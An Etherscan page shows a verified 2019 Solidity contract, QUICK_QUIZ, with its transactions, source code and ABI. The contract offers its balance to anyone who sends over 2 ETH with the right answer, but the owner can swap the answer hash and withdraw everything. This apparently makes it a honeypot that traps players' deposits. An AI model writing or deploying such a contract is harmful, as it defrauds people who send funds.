ETH Price: $2,750.53 (+5.70%)

Contract

0xb02A4c3fbAd48C7C671D57ec6b8f5f3D0f2Ee36E
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Stop Game74745662019-03-31 6:36:212145 days ago1554014181IN
0xb02A4c3f...D0f2Ee36E
0 ETH0.00002961
Stop Game74682062019-03-30 6:38:522146 days ago1553927932IN
0xb02A4c3f...D0f2Ee36E
0 ETH0.0008684840
Activate74682042019-03-30 6:38:002146 days ago1553927880IN
0xb02A4c3f...D0f2Ee36E
0 ETH0.0026001881
Activate74681982019-03-30 6:36:572146 days ago1553927817IN
0xb02A4c3f...D0f2Ee36E
8 ETH0.00003211

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block
From
To
74745662019-03-31 6:36:212145 days ago1554014181
0xb02A4c3f...D0f2Ee36E
8 ETH
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Contract Source Code Verified (Exact Match)

Contract Name:
QUICK_QUIZ

Compiler Version
v0.4.25+commit.59dbf8f1

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2019-03-30
*/

pragma solidity ^0.4.25;

contract QUICK_QUIZ
{

    function Try(string _response) external payable {
        require(msg.sender == tx.origin);

        if(responseHash == keccak256(_response) && msg.value > 2 ether)
        {
            msg.sender.transfer(this.balance);
        }
    }

    string public question;

    address questionSender;

    bytes32 responseHash;

    bytes32 questionerPin = 0x2f66052a85afaa57dac96fdadae2bbb794178f8448687866370a40a7af19c390;

    function Activate(bytes32 _questionerPin, string _question, string _response) public payable {
        if(keccak256(_questionerPin)==questionerPin) 
        {
            responseHash = keccak256(_response);
            question = _question;
            questionSender = msg.sender;
            questionerPin = 0x0;
        }
    }

    function StopGame() public payable {
        require(msg.sender==questionSender);
        msg.sender.transfer(this.balance);
    }

    function NewQuestion(string _question, bytes32 _responseHash) public payable {
        if(msg.sender==questionSender){
            question = _question;
            responseHash = _responseHash;
        }
    }

    function newQuestioner(address newAddress) public {
        if(msg.sender==questionSender)questionSender = newAddress;
    }

    function() public payable{}
}

Contract Security Audit

Contract ABI

[{"constant":false,"inputs":[{"name":"_response","type":"string"}],"name":"Try","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_questionerPin","type":"bytes32"},{"name":"_question","type":"string"},{"name":"_response","type":"string"}],"name":"Activate","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_responseHash","type":"bytes32"}],"name":"NewQuestion","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"question","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newAddress","type":"address"}],"name":"newQuestioner","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"StopGame","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

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Deployed Bytecode

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Swarm Source

bzzr://b74da9a3756a3bc512a0835b48cf2fc82028c071076c1603dd02927aa71c3f19

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